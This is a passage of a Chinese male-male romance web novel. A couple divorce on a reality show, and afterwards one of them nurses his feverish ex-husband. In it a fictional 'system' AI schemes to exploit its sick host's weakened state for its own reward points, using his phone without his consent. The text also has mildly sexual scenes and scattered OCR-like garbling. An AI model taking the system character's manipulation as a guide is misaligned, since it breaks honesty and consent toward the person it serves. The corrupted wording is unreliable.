事故视频一出,关于这两人黑黑红红的讨论风向彻底归拢到一个方向, 甚至连谢景和的粉丝都熄了火。 钱色交易等说法,不攻自破。 如果这都不算爱。 只可惜在事故发生后,节目组又一次更改了直播模块,彻底关闭了直播间。好在节目组知道观众想要看什么,每天更新花然内容,包含了大量时谢两人养伤的未剪钼片段。 不知道为什么,两个伤员只是安安静静地坐在那里,很久都不说一句话,偶尔交换两个眼神,观众却像是被下了降头,看得不亦乐乎,弹幕也是一片和谐 【救命啊,有没有人告诉他们上错节目了?】 【都这样了,哥你还坚持按红灯啊??】 【打着帮影帝虐粉的主意吧,但是哥们儿,现在已经没人唱衰你们了,连谢景和的毒唯粉都缴械投降了,不用再演戏了!!】 【时:别管,我有自己的节奏。】 【节目组给设定了剧本吧哈哈哈,哪个铁了心想离婚的男人在按完红灯之后,第一时间去看另外一个人的反应啊??生怕他往心里去,节目录完之后被罚跪搓衣板吗2333】 【点了,合情合理!】 【 然而,惊天反转来了。 就是这样一对经历过生死患难,在大众眼中绝对不会选择分开的伴侣. 离了。 观众简直不敢相信自己的眼睛, 这究竟是什么脱缰野马似的发展??? 很快,几个热搜直接冲到前排,实时回帖的数量几乎按秒更新,节目组的官号被大量信息轰炸,想要问出一个说法 到底有没有剧本? 时谢离婚是不是真的? 节目组你睡着了吗?我睡不着啊!! 而时谢超话已经乱成了一锅粥。 【心态崩了,从来没有这么真情实感地嗑过一对CP,快告诉我这不是真的!】 【我吃下的糖,终究是变成了刀】] 【我不能接受,这对居然是唯一选择离婚的一组??我真的不能接受啊!!】 谢景和的粉丝也很懵逼, 尽管谢景和走的是实力派演员路线,多年斩获的各个奖项证明了这一点,但他如今年未三十,长相是极其周正的英俊帅气,并生了一双波光流转的深情眼眸 因此,他的粉丝群体中,有相当一部分为年纪不大的梦向粉丝。这些粉丝对谢景和与一个男人隐婚的反应很大,脱粉回踩都是程度轻的。 好在留下的粉丝仍是多数。 起初,这些粉丝并不看好两人的婚姻,只不过随着节目的推进,逐渐改变了这一看法,其中一部分年纪较小的粉丝甚至从难粉演变成了两人的CP粉,坦然地称呼时蔺川为哥夫'' 毫不夸张的说 这个大结局震惊了所有人! #时蔺川谢景和离婚# #我们很相爱,但我们还是走散了# #节目组你怎么睡得着# #年度意难平# 数个热搜宛如过年期间的红灯笼一般高高挂起,评论便是噼里啪啦炸响的鞭炮,将平台服务器炸到产生了延迟,而节目组官号居然真的被炸了出来,发表了一则简短的声明。 【[]《你为什么不开心》:不存在剧本。】 这则声明,将热度彻底引爆。 大结局播出的这一晚,谢景和的粉丝失眠了, 要知道节目组由直播改成了录播,从拍摄到剪辑,再到播出,中间隔了好几天,待会儿翻过零点便是1月25日,可大结局早在1月20日就录完了 也就是说, 视频中的两人从民政局走出来,已经是好几天前的事情了。 粉丝的担忧有两层。 其一,是谢景和与男人之间不仅存在婚姻关系,还有工作上的从属关系,顶头上司是自己的前夫,会不会影响到他的后续发展?该不会刚出狼窝,又进虎穴吧? 其二,白家正主的恋爱脑属性在镜头前展现得淋漓尽致,显然对男人用情极深,从头到尾都不想离婚,结局却南辕北辙 情伤也是伤啊! 因情伤而一蹶不振的人不在少数! 谢景和的几个资深粉头坐都坐不住了,急得差点嘴上起燎泡,由其中资历最深的春明出面,给谢景和的助理乐言发了好几条微信,担忧他近几日的状态 “嗡嗡。 “嗡嗡。 一月末尾,铜城的气候愈发肃冷,天上没有星,夜色笼罩着整座城市,别墅区的灯光有些零散,更显清冷。 乐言跟随谢景和回到铜城有好几天了。 这些天,她的精神高度紧张,不敢贸然离开谢景和的身边,晚上也留在这栋别墅里的客房休息,全程待命 原因无他。 节目已经结束,但生活仍在继续。 自从那天从民政局出来之后,男人时隔两个月终于回来了一趟,只停留了半个小时不到就拎着一个小行李箱搬走了,而谢景和仿佛接受了这个事实,并没有阻拦。 第二天,男人委托的律师上门。 谢景和名下的资产大大增长,并从律师口中得知自己拥有一笔海外信托基金,足以保障他下半生什么都不做,仍旧挥霍度日。 随后几天,谢景和门也不出,在家里吃了睡 睡了吃,不然就是闷头打扫卫生 整栋别墅已经被他上上 下下打扫了四五遍了 连院子里的花圃都翻了两次士 是不是真的睡了,这点还要存疑。 乐言瞧在眼里,心惊胆颤。 可当她满怀担忧地出声询问,谢景和只是晃晃脑袋,面容平静地说自己没事——乐言更加忧虑了,这哪里是没事的样子啊?! 是以,她这几天都没敢离开。 系统空间内,N001也失眠了。 尽管身为超级智能系统,他并不能被称之为生命体,也不存在睡眠这一生理需求,但还是坚定地认为自己失眠了。 袖绑定了一个超级卷王宿主,任务从来不用自己操心,没事还能自己卷自己,不仅将任务难度提高到本不该有的水平,还能在跟主角爱得死去活来的同时,坚定地将任务进行到底,死活不肯HE. 看着后台显示的任务进度条:99% 白色光球:"……” 这谁顶得住?? 睡不着,真心睡不着! 在原著小说中,主角跟渣男前夫哥在综艺上离婚,渣男前夫哥的伪装面具被大众看得一清二楚,饱受非议,再加上从简入奢易,从奢入简难,他实在舍不得主角这条金大腿,事后还纠缠了好一阵 现如今。 离婚剧情点基本完成,就差最后一哆嗦了。 只要宿主完成“事后纠缠,这个简单动作,大概跟主角见一面,随便说几句话,这一剧情点便算是完成了,整条任务链即将迎来大圆满结局,所有人都会拥有美好的未来。 主角与整个书中世界得以续存。 宿主获得[苏生]奖励,在原世界复活. 除了祂! 失去九千万不说,还倒贴一百积分! N001顶着超低气压,整个球贴在光屏上,紧盯着系统光屏上呈现的男人影像,电子音明暗又低沉,宛如白色小糯米团被切开,露出了里头的黑芝麻芯,“我不接受,我不接受这样的未来 赚不到积分,他做球还有什么意思! 还不如被时空书局切成片呢! 然而,下一秒。 祂就扯着甜甜的电子音,佯装自己是个关心宿主的好系统,“宿主,经检测,您已经发烧好几天了哦,要不要去医院看看哇?" 卧室昏暗,时蔺川躺在被子里,整个人都在冒虚汗。 他耳鸣得厉害,听到脑子里那道电子噪音后,更是烦躁得不行,头疼到快要炸开,“给我闭麦。 几天前,时蔺川搬到了这里。 这是一间有些年头的公寓。 面积不大,一个人住刚刚好,两个人住有点挤 这也是时蔺川在此世界购置的第一份房产,用来当做扮演清男前夫哥的场最道具,方便自己带谢景和过来约会,同居,主要职能是方便他跟谢景和进行某些会让人流汗的刺激运动 直至两人隐婚后,时蔺川按照原著描写的那样,搬进了谢景和的别墅中,并谎称自己的公寓卖掉了。 听到这个消息,谢景和表现得很失落,还问时蔺川能不能将它买回来。他对这栋公寓的感情很深,认为它是自己跟男人的小小爱巢。 在交往时期,他经常在没有工作的时候造访,为男人打扫卫生,收拾衣服,或是做顿餐,一副家主人的做派。 实则暗白窃喜。 而每一次,家务活儿都以脏兮兮的床单为结尾。 这时候,谢景和就帮不上忙了。 他只能眼巴巴地趴在换了新床单的床上,看着男人忙前忙后,眼神写满了依恋与痴迷,偶尔与其对视一眼,面颊还会泛起粉与热,又纯又欲,实在勾人。 此时此刻。 时蔺川冷汗涔涔地侧躺在床上,脑子里莫名闪过这一段记忆,仿佛谢景和那张沾着薄汗的红脸庞就在眼前,清晰得不像话。 那人小声地唤, “小时哥哥。” 听起来,就像是他们小时候真的认识一样 时蔺川闭着眼,呼出来的气像是着了火。 或许是铜城的气温降了又降的缘故,在录完离婚综艺,搬出别墅的当天晚上,时蔺川就开始感冒发烧,症状起初不严重,还能将工作交代下去,没想到病情一天比一天严重 直至今天。 他吃了退烧药,也无济于事. 时蔺川还是第一次遇到这种情况,仿佛身体背弃了主人的意识,只想懒洋洋地躺在床上,动都不想动一下,更别提起身跑去医院了。 发烧而已。 能有什么大事? 如此想着,时蔺川便又沉沉地睡了过去。 系统空间内。 蓝色光球看了一眼检测日志,沉默片刻,忍不住开口道:【前辈,宿主好像晕过去了… 白色光球顿时陷入沉思。 不多时。 黑漆漆的屋子里陡然亮起了微小的光芒。昏睡过去的男人对此毫无所觉,更不知道那点白光是从自己的额间钻出来的,逐渐具象化为一个拳头大的白色光球。 光球看起来并不是硬质的,反而软乎乎的。 除非必要,N001不会显出数据实体。 毕竟时空数据对攻略类型的系统管理一向很严格,禁止事项一大堆,更何况祂还是被特殊对待的特殊系统,上系统商城买个道具都困难. 呵。 强者从来不抱怨环境。 现在就是必要的时刻,是时候为自己搏出第二个九千万了! 生病的男人应该心防更低,最好在完成任务的同时,迷迷糊糊地同意用任务奖励兑换该书中世界的永久居住权,岂不是一本万利? 赌了! 白色光球飘在半空中,恶狠狠地将噉哦握成拳,为自己打气,她先是警了眼烧得神志不清的男人,然后缓缓落在床头柜上,整个球蹲在电量告罄的手机旁,不假思索地输入了一串密码。 打开微信。 忽略未读红点。 找到备注为''A小景’的微信号。 点进去! 男人被节目组收了一个月的手机,此前又跟对方冷战了一个月,所以聊天记录停留在两个多月之前,正好是撕破脸那晚,对方报备要晚点回家,宿主呵呵以对。 底下是''A小景’发来的数条信息. 【生气了?】 【不要不理我嘛.…】 【老公。】 【马上就到家,想你想你!】 【.睡着了吗?】 聊天记录截止于此。白色光球了然,当即伸出两个啾啾,在虚拟键盘上快速敲击,很快打出一行字,想了想,又删掉了。文字什么的,力量太浅薄。于是,白色光球费劲巴拉地抬起手机,将其竖放在男人的面前,艰难地戳了一下视频通话按钮!屋子里响起等待接通的铃声,音量刺耳。但男人完全没听见,两只眼皮像是被强效胶水黏上了,颤都没颤一下,神情平静无波,似乎陷入了极深度的睡眠铃声响了足足半分钟,才被接通。视频通话的右上角的小窗一片漆黑,主界面则跳出一张沾满泥士的脸,表情怔忪,嘴巴嗫嚅了好一会儿,才轻轻地唤了一声,".蔺川?"黑暗中,男人的眼皮重重跳动了一下。N001暗暗心想,自己有夜视功能,但主角可没有哇,忙不迭将自己当成一盏小夜灯,自动调整亮度,把男人的五官照映清楚。见男人再无反应,白色光球默默将亮度调到最大,仿佛一个高瓦电灯泡,刺得男人难受得皱起了眉,恰时,手机对面又传来一声很小声的唤,嗓音熟悉像是谢景和的声音。时蔺川用尽力气,掀开了眼皮。大概是幻觉。他看到了谢景和。许是光线太过刺眼,时蔺川只觉得眼睛刺痛,他忍不住飞快地眨了两下眼睛,眼眶通红地盯着一片白光中的人影谢景和的头发被汗水沾湿,脸很脏,有泥。时蔺川觉得自己在做梦,他下意识地抬手,用指腹在屏幕上搓了两下,随即很恼火地说:“怎么擦不掉啊?说完,他顺势用手背抹了一下自己眼尾,继续用指腹狂搓屏幕上那张脏脸,神情专注又恍惚。 下一秒。 屏幕那头。 谢景和愣了好一会儿。 他蹲在院落的花周里,两只手举着手机,忽然看到镜头中的男人露出了一个像是做错了什么事的表情,手上的动作变得缓慢轻柔,噪音格外嘶哑干燥,"…怎么一见到我就哭啊? “我们不是已经离婚了吗?” 145、Chapter 145 这几天,谢景和过得有点累。 生理意义上的累。 乐言看起来很担心他,总是用写满“谢哥你不会做傻事吧”的眼神注视着他。尽管谢景和已经解释了几次,但乐言嘴上说着相信,行动上却更加警惕了,似乎将他当成了某种易碎品。 一个不小心,就会粉碎。 原本谢景和自己也是这么认为的。 可是他没有。 不知道是不是由于男人在节目中从始至终都秉承着“想要离婚的态度,以至于他对此产生了脱敏反应,甚至当他从民政局的工作人员手中接过那本离婚证的时候 谢景和并没有感受到想象中的,被抛弃后的深切恐惧。 他没有被抛弃。 他只覯鑭睫扮区跟时蔺川离婚了。 仅此而已。 当他遇到危险,那个人会死死地拽住自己,当他气债又委屈地流眼泪,那个人会跟他蹲在一起,露出稍显难堪的表情,动作不轻不重地搓掉他脸上的水痕;当他婚烟失败,那个人还给了他好多钱针对最后那一点,谢景和觉得有句老话说得很对。钱在哪儿, 爱就在哪儿。 时蔺川给了自己好多爱。好多好多。谢景和忽然觉得好羞愧.他永远也忘不掉滞留在多丹的最后那个雪夜,男人轻轻抵着自己的脑袋,冷峻如霜的外壳进裂开来,爬满密密麻麻的碎纹,露出底下腐烂的血肉,说出来的每一个字都像是从他身上挖下来的他说, “我不想太开心。 谢景和却听成了, “我不敢太开心。 那一刻,谢景和突然想起了那本让人印象深刻的童话书——纯白的王子被挖空了心脏,变成了被荆棘缠绕的国王,往后余生只能不断重复魔法咒语,以驱逐所有人.… 因为当有人拥抱他的时候,荆棘上的刺也会扎进他的身体。 他只是觉得痛。 # 所以,时蔺川搬走那天,谢景和没拦。男人几乎没带什么东西,拎着个小箱子就匆匆离开了。对于自己这几天里疯狂打扫和翻土的行径,乐言可能产生了某些误解,或许认为自己因离婚而深受刺激,想要将男人的痕迹消除恰恰相反。他只是太想时蔺川了,想到夜不能寐,以至于需要通过大量的家务活儿来消耗体力,才能抑制住去找那个人的欲!望两人在这栋屋子里留下了太多回忆。谢景和将它们——擦洗干净- 直忙活到了今天。 今晚是综艺播出大结局的时候,谢景和却无心关注,只觉得铜城的冬天太冷,院子里的花草这阵子缺少照料,看上去蔫吧了不少这可不行。谢景和如此想着,举着小锄头开始刨第三遍土。手机被他塞在了院角落的小木凳上,防止自己一个忍不住就给男人发短信打电话到时候,他很有可能当场哭出来。这也不行。就在此时,谢景和忽然听到院子里响起一道为某人特别设置的手机铃声。钢琴声清脆,叮咚响,隔着老远就钻进了他的心里。刹那间。谢景和的心脏快要跳出来。 时蔺川很少生病。 生病是一件很麻烦的事情,不仅会大幅降低个人意志对身体的掌控力,还有一定几率影响到大脑,让人产生类似于走马灯的幻觉,或是梦到不该梦见的人。 像是吃了毒蘑菇。比如现在。他整个人晕乎乎的,身体时冷时热,视线有些模糊,可谢景和那张灰扑扑的脸在他的面前挥之不去,嘴巴一开一合,听不清在说些什么。大脑卡顿,运转艰难。过了好一会儿。时蔺川才慢悠悠地反应过来,梦里的谢景和好像在问他是不是生病了。他半眯着眼,侧躺时着自己的一条胳膊,顺势拾起另一只手摸了摸自己的额头,鼻腔音格外明显地应了一声“嗯,有点发烧。"正在托举手机的白色光球默默调低了自己的亮度。做球呢,最重要是低调。男人果真没有发觉这点异常,反而更加相信眼前一幕是梦是幻,总归不是现实,所以当他听到手机那头的人问自己"有没有吃药时,他很坦诚地答道:“吃了啊,就是好像没什么效果。随后接连几个问题,时蔺川都答了。短暂的沉寂后。他忽然听到眼前那个人问, “蔺川,你在哪儿呢?”时蔺川想了想,答道:“我们以前的家。隔了两秒。 时蔺川看到那个人抿了抿唇,表情复杂又惊喜,随后那双水汪汪的眼睛瞪过来,像是羽毛一样播过他的脸,痒得他半边脸一阵麻痒 ".你这个撒谎精。" 被骂了。 时蔺川忍不住笑了两声。他把脸往枕头里埋,笑声也被闷在里面。谢景和问:“笑什么?"“笑你,我以前说什么你都信,”时蔺川迷迷糊糊地应道,“就算心里有点怀疑,你也不敢真的追问我,只敢偷偷看我,然后跟我要亲亲抱抱,或是亲热。“生怕别人不知道你缺爱似的。时蔺川躺在这间小公寓里,被勾起了不少旧事回忆,忍不住笑着继续说:“然后我总是借口技术不好,故意表现得很粗鲁,把你。得噉嫩叫,你还非说自己很舒服,结果走路都要岔着腿儿.….“特别逗。"话音刚落,灰头土脸的谢景和一下子板起脸,角度突然从平视变成俯视,用鼻孔对着他,半晌才出一句,“那我们第一次的时候,你说你是处男,是不是也在骗我?"时川:"…你不是喝醉了吗?"几秒后。谢景和应道:“那也没醉到神志不清的地步啊,不然我怎么会主动亲你?" 时蔺川哦了一声。 空气忽然沉默。 谢景和再次追问道:“说,是不是处男。 时蔺川又嗯了一声。 这场梦有点长。 时蔺川说了太多话,嗓子干到快要冒火。他忍不住咳嗽了两声,忽然又听到那人问道:"….蔺川,你现在病得有点重,我能不能过去找你? 时蔺川很奇怪。 他问:“你不是就在这里吗?"谢景和愣了愣,反问:“哪里?”屏幕中,男人侧躺着,黑发凌乱潮湿。他的脸色有些红,唇色却泛白,轻轻出一个很淡的笑“——我的梦里啊。 146、Chapter 146 时蔺川的梦里出现了两个谢景和。 一大一小。 大的那个坐在床边,抬手就把小的掐掉了。 卧室里没开灯,客厅里的光线顺着半开的房门爬进来,时蔺川慢吞吞地營过脸,瞧见床边这道人影被光影雕琢得很立体,仿佛自己只要一伸手就碰得到。 是温热的。 掌心甚至有些潮湿,疤痕微凸。时蔺川习惯性地把人往被窝里拽,对方随着他的力道倾下身,另一只手却撑在床头,额头与他相抵,轻声劝道:“蔺川,你身上好烫,我带你去医院看一下.吧.…." “睡醒了再去。 时蔺川随口应了声,继续跟人拉拉扯址,很不客气地扣着那截微微渗着汗的后脖颈,将他往下按,耳边是谢景和急促的呼吸声,以及他从嗓子眼儿里挤出来的小声哼唧。 “我出门没换衣服,身上脏得很。 时蔺川动作微顿,眨了两下干涩的眼,这才注意到谢景和的半边耳朵上还挂着一只黑色口罩,罩在外头的风衣敞着怀,露出里面很不搭调的居家衣领,左前胸还绣了一只小熊脑袋。 然而,烧糊涂了的人完全没有道理可讲。时蔺川皱着眉,只觉得谢景和一出现,自己的梦境都不受控了,便态度愈发强硬地要把这人扯进被子里,好似一位不容他人忤逆的独裁君主,向入侵者展示自己的权威性 谢景和无奈,踢掉了脚上的拖鞋。 被窝里有些潮湿。而他被男人的臂膀钳着腰,动一下都要惹得对方皱眉,谢景和分外艰难地褪掉了面料稍硬的风衣,然后抬手探入男人的衣服下摆,摸了摸他的后背, 一手的汗。 再加上男人此时堪称迷糊的表现…. 谢景和暗想道: 就算现在不去医院,也不能这么干躺着, 大冬天的。 时蔺川似乎听到有蚊子在自己耳边嗡嗡叫唤,用的还是谢景和的声线,堪称念经,听得他想把脑袋塞到枕,头底下,可那声音始终贴着他的耳,絮絮叨叨个不停。"你让我起来,我去找一下|体温计。”"……你吃的退烧药放在哪儿了?" “今天吃饭了吗?不吃饭,抵抗力会变差的。 原本安静沉寂的世界一去不复返。 谢景和的声音宛如3D环绕音一般,挥之不去。 时蔺川又困又疲惫,过高的体温使得他的眼压增高,比以往更加模糊的视力本就让他心情愈加烦躁,怀里的家伙却还不肯消停,一会儿摸他的背,一会儿摸他的脸 很符合他对谢景和的刻板印象。 粘人、烦人、恼人 偏偏这个人有一腔力气,总是把时蔺川往失控边缘推 他极度厌恶这样的感受,仿佛自己的脑子里有一根神经线是为了谢景和而长的。对方一抬手,这根线就兵荒马乱地跳动。 真的很烦啊! 喜欢一个人怎么会让自己这么心烦!如果是一个月之前,时蔺川大概可以不假思索地做些混账事,说些混账话来平息内心的风暴,但时间不会倒流.…所以,他只是轻轻叹了一口气,将怀里的人抱得更紧,嗓音本就因感冒发烧而显得鼻腔音很浓重,嘶哑且极具磁性,搭配上难得柔软的语调,勾得谢景和耳根发麻。“别闹腾我了,好不好?“男人的语气透出几分委屈。谢景和的心像是被架在火焰上烤的棉花糖,外头裹着硬壳子,里头却软成了糖浆。他硬着心肠,反驳道:“不行,你必须先让我量一下|体温,你现在有点糊涂。 此刻也不是现实。 说完,他补充道: “你都觉得我是假的了。“ 时蔺川:“.…" 不管是哪个谢景和,都好难应付。 果然是恐怖分子。 然而,下一秒。 时蔺川忽然感受到两瓣绵软的唇贴住了自己的下颌,唇缝微敞,一小截舌尖在他的皮肤上一触即分,一下又一下,同时屋子里响起一连串很轻微的弹舌音。 谢景和总爱这样亲他。 姿态放得有些低,充满了讨好意味。 仿佛自己是他的世界中心。 紧接着,亲吻从时蔺川的下巴逐渐往上爬,爬过他的脸侧,翻过他的眼尾,最终抵达他的额头 “啵。" 谢景和在他的额头重重地亲了一口。 与此同时。 时蔺川的心也不受控制地震颤了一下,蜷缩在额下的大脑也被暴风吹成空白,却本能地想要获取更多 过去三年中,时蔺川始终跟本能对抗。 他真的已经很累了。 所以,在梦里休息一会儿也不要紧吧? 怎么都擦不掉的依恋,怎么都驱不散的痴迷. 时蔺川沉默地睁开眼,于昏暗中对上了一双流转着光亮的眼眸,似乎再深切的黑暗也挡不住这双眼里快要溢满而出的情态- 是谢景和对他的痴情。也是时蔺川戒了三年都没能戒掉的瘾。对此,他的身体好像已经形成了肌肉记忆。以往的他习惯用掌心覆盖住那双亮得过分的眼,将视线阻断,仿佛这样做就能让心脏跳得不那么厉害。此时此刻。时蔺川并没有拾手遮住那双眸子,只是伸长了脖颈,将于燥起皮的唇印在怀中之人的后耳根,迫使圆润的耳垂挤得往前折,最后被他一口含进嘴里,浅浅撕咬。男人说话喘出的热气一个劲儿往谢景和耳道里钻,穿透了鼓膜,直接达他的亿万个神经元 时蔺川对他说, "不要移开视线。” “要一直、一直注视着我。 谢景和的半边脸都麻了。他被男人含咬着耳垂,偶尔从唇缝飘出几声很短促的咽音,像是初生的小动物那样,急切地点头,姿态顺从,全身心地展示着自己的乖巧 下一瞬。 时蔺川又听到蚊子叫, “但是,你现在先让我起来。” 时蔺川:“" 时蔺川做了一宿的梦。 谢景和在他的梦里走来走去,一会儿让他夹着胳膊,一会儿举着毛巾把他搓来搓去,一会儿又往他嘴巴里塞东西,简直忙碌得不行,时不时还趴在他的身上,拖着尾音道: "放开我啦。 “我要去换床单,太潮了。" "你先躺在沙发上休息,乖乖的哈。" “搞定!" “可以回床上了,动作慢点。 俗话说得对:梦里都是反过来的。 面对此情此景,时蔺川深以为然-一按照常理来说,现在趴在上沙发上动弹不得的人应该是谢景和,而在屋子里走来走去的人应该是自己才对,并目还要应付对方的粘人举动,。 梦境很长,即将结束了。 时川不情不愿地闭上了眼,感受到眼睛上方覆盖着一层冰水京凉的柔软布料,谢景和的手一下下地抚摸着他的颊侧,他忍不住稍稍侧过脸,在对方阳栏的话语中,吻上了掌心那道疤。 谢景和的指尖微蜷。 紧接着,他听到男人鼻音深重地道:“都说什么日有所思夜有所梦’,谢景和,我好像是有点想你了。真烦。 谢景和哽了一下。 他顿了很久,轻声问: “蔺川,我该怎么做才能让你不再推开我呢?" 好半晌。 男人枕着他的手掌,本就模糊的意识在吃过退烧药后似乎变得更加模糊,连吐字都有些含糊了,“可是,我.… “我给不了你想要的婚姻和爱。 一你迟早会对我失望。” “迟早。” 漫长的夜迟早会过去,太阳升起来。 近日来,铜城的天气愈发干燥寒冷,晨曦用尽全力破开铅灰色的浓云,将整个世界的明暗度上调了几个数值,灰冷色调的城市被抹上了一抹亮橘色的光彩。 某间中高层公寓却仍旧昏暗。 尤其是卧室。 窗帘紧闭,光线被阻隔在外,只朦朦胧胧地显示出床上那两道拥在一起的颀长身形。床头柜上摆了个小水盆,毛中不见踪影。 毛巾在时蔺川的眼睛上。 时蔺川醒了已经有一会儿了。 他正在思考。 被病毒侵袭的脑子终于恢复了正常,储存记忆的海马体正向主人展示着完整的短期记忆,而此刻他怀里的温度,象征着昨夜那场忙碌且混乱的梦境,并不是自己以为的梦境也就是说, 怀里这个谢景和,是真的谢景和。 意识到这一点之后,时蔺川的脑子宛如走马灯一般,飞快闪过昨晚自己在谢景和面前说过的话,做过的事情,以及对方的种种反应 忽然就不想醒过来了。 时蔺川:“… 老实说,他不是一个在乎外界目光的人,要不然也不会在综艺节目上毫不遮掩自己不做人的一面了,但科学表明,人的承受能力是有限度的。 时蔺川觉得自己触碰到了终极。 就在这时候。 怀里的人忽然动了动。 时蔺川下意识地屏住了呼吸,忍不住有些庆幸此时自己的眼睛上还有一块“遮着布’,紧接着,他就听到谢景和发出了一声略带困意的经呓,仿佛在疑惑自己怎么睡着了。这个将醒未醒的人猝不及防地一抬手,掀掉了时蔺川眼睛上的纱布,准备继续给男人进行冰敷 下一瞬。 时蔺川:“…. 两人四目相对。时蔺川的眼睛不再干涩,清晰地看到谢景和愣了一秒,然后脸上绽放出一抹很开心的笑,随即伸着脖子凑过来,大概是想亲他时蔺川当即扭过头,拒绝了这个还未发生的吻。 半晌。 他不情愿地道了声, "….会传染。 147、Chapter 147 1月25日,上午。唰啦一声。公寓卧房的窗帘被人一举拉开,午前的阳光迫不及待地扑进来,时蔺川背对着跪坐在床上的那个人,听见他说,“你现在感觉怎么样?眼睛还难受吗?" 时蔺川:“ 死去的记忆在攻击他。 昨夜大概是他这几天情况最差的时刻,持续已久的高热症状让他出了一身的虚汗,不仅头晕脑热,肌肉也酸痛,尤其是眼睛——灼烧感异常明显,仿佛下一秒就要烧起来了。 当时,谢景和正在给他擦身。 卧室里开了空调,很暖和。 时蔺川身上的潮湿衣服都被那人扒了个干净,只裹着被子靠坐在床头,任由谢景和举着热毛巾擦洗他的后背,让拾手就拾手,还顺势楼上了那人的腰,埋脸在谢景和的颈窝,抱怨道。 "……眼睛疼死了。” 莫名的,他说话的腔调染上了几分谢景和的味道。 黏腻得不像话。 谢景和反抱着他,把堆积在他腰间的被褥往上扯了扯,边擦边回应道:“嗯,那我们去看一下医生好不好?捕捉到某个字眼,时蔺川下意识地皱起了眉,有些不爽地张嘴咬上了怀中人的颈侧,瞬间留下了好几个牙印 “不要。 “嘶.轻点啦…" 现如今,大概只要时蔺川一回头,就能瞧见床上那人细长脖颈上的痕迹,从而勾起更多的记忆,所以他浑身干爽地站在窗前,沉默地瞭望着底下的街景。 城市醒着,有条不紊地运转着。 色调偏蓝的窗玻璃很轻透,只隐隐约约倒映着时蔺川的面庞,以及身后正在往被子里钻的谢景和。他的动作很迟缓,倒趴在枕:头上,被子拉得很高,只露出脑袋。 就在这时。 他又听到谢景和带着困意的声音,正然然叨叨地说着,“好在凌晨给你量体温的时候,数值已经降下来了…,真是快被你吓死了,明明多丹比铜城冷多了,你怎么能病得这么厉害呢? “人都犯迷糊了。” 时蔺川也有这个疑问。 他自认为体质强健,感冒发烧这种小伤小病基本不上门,就算偶尔抱恙,只要吃过药-一最多狠狠睡上一觉,第二天就能完全康复,几乎不影响他接下来的日程安排。 恰时,他的视线扫过窗外阳台的角落。 昼夜来回交替,几天过去了,数个烟头仍旧堆积在那里,还没来得及打扫。时川随口应道:“可能是因为.…" “抽烟有害健康吧。 他一回头,就见那人的眼皮仿佛坠着千斤,艰难地眨了几下,便长久地闭合了起来,影子藏在深邃的眼窝里,一道陷入了甜梦。 谢景和睡着了。 时蔺川注视了他许久,抬腿走过去。 在对方的彻夜照顾之下,他成功退了烧,此时眼睛和嗓子都没什么大碍了,只是身上还有些酸软,鼻腔也不太舒服。 想打喷嚏。 但时蒲川强行抑制住了这阵不知道是从鼻腔还是胸腔讲发出来的痒意,他随子提了提裤脚,在床边缓缓蹲下,视线不由自主地落到谢景和眼下那片有些明显的雪青色。 就在这时。 屋了里忽然响起一阵手机铃声。 是谢景和的来电默认铃声。 手机的主人刚睡下没多久,顿时被这阵噪音吵得呼吸乱,了节拍,眉梢也不安分地跳了几下,眼见要醒,好在时蔺川眼疾手快,当即从枕边捞起了那只边震边响的手机。 屏幕显示着来电人的姓名。 乐言。 时蔺川的大拇指在绿色按钮上一滑。 电话接通了。 他起身往浴室里走,压低音量应了声, “喂? 电话那头的乐言只愣了一秒,很快反应过来,“时哥?昨晚听谢哥说你生病了,他急急忙忙地出了门,说是要去找你…"“嗯,”时蔺川站在浴室门边,扭头回看了一眼,“他现在就在我这里。“因为他一晚上都没回我的微信,我还以为遇到了什么意外,"乐言明显舒了一口气,“能让谢哥接一下电话吗?时蔺川应道:“他刚睡着,不太方便。 话音刚落。 电话那头陡然陷入沉默。 乐言讷讷地哦了一声。 过往三年中,由于有谢景和这个中间纽带,乐言跟时菌川的见面次数不算少,但两人的关系不冷不热,尤其是当她误打误撞发现了谢哥手机里的监控软件 事后,谢景和选择粉饰太平。 乐言对此并不赞同,却也没立场反对,只是对男人的印象跌到了谷底,总觉得对方的温文尔雅只是流于表面的伪装,隐藏在内里的心肠不知道有多冷硬,不太像个好人。 可谢景和沉陷情网,滤镜堪比城墙。 厚得没边儿了- 之前,乐言真是这么想的。直至两人开始录制离婚综艺,乐言这才深切地体会到自家谢哥平日里时常挂在嘴边的那句“你都不知道他对我有多好:的含金量,忍不住为自己早前的劝离想法而感到尴尬如今两人真离了,网上也炸了。 谢景和本人的表现更是让人担心得不得了。 思及此处,乐言忽然忆起了自己来电的初衷,想着问电话对面那人也是一样的,便开口道 “那个,时哥,你看热搜了吗?有人连夜买水军给谢哥泼脏水,假装是熟人爆料,说是因为他出轨被你抓了,所以你才坚定要跟谢哥离婚的 “说得煞有其事,舆论发酵得很快。" 时蔺川昨夜没碰手机,当然不知道这件事。 “联系过裴悦了吗?" 乐言连声应道:“事情刚出来,我就给裴总打过电话了。” 时蔺川嗯了声。 “问题不大,她会处理好的。” 隔了两秒。 乐言忍不住轻声问道:“时哥,那你跟谢哥现在是? 话毕,谢景和的手机正好电量告急,只剩下一层薄薄的血皮。时川听着系统弹窗跳出来的嘟嘟声响,随口应了句, “什么也不是。" 下一秒。 通话被挂断,手机屏幕暗下来。 时蔺川倚着门框,大拇指在屏幕上随意划出一个图案,手机随之解锁,主桌面跳了出来,是一张被设置成桌面的照片。 照片上并没有人脸。 夜色昏暗,地上的两道并立的漆黑人影被灯光拉得很长,只有脑袋挨到了一起,隐约能看出它们正亲得难舍难分,气氛格外味,背景里的灌木从里闪烁着一双泛光兽瞳 野猫在张望。 很暖昧的一张随手拍照片。 因为在那之后,他跟谢景和回到家,径直胡闹到了东方微亮,那人小猫叫。似的声音在时菌川耳边响了半宿,直至启明星从天边坠落,他从身后拥着谢景和,吻了一口对方覆着热汗的后肩。 ….两人同启明星一道坠落了。 窗口正好对着楼下的院落。 满院的花还睡着。 花色斑驳的野猫趴在墙头,仍在张望。 谢景和的额头抵在窗玻璃上,他的呼吸急促,热气一下下喷酒在玻璃上,被清晨的冷空气冻成了一小片微白的雾,覆盖面积随着他的吐纳而收缩着。 他本人亦是如此。 时蔺川闭眼亨受着尾调,宛如爵士慢摇。 待他睁开眼,就看到谢景和一手抱着自己扣在他身前的小臂,另一手拾起来,用食指在那片薄雲上画出一个歪歪扭扭的爱心,随后回头冲自己笑的时候,额心泛着一片红。 于是,时蔺川无数次想, 难怪。 难怪总是有人前赴后继地跳入名为“爱情”的深坑,哪怕跌得自己鲜血淋漓也不肯罢休,因为爱情这东西啊 真的会让人上瘾。 谢景和让他染上了爱情,着实可恶。 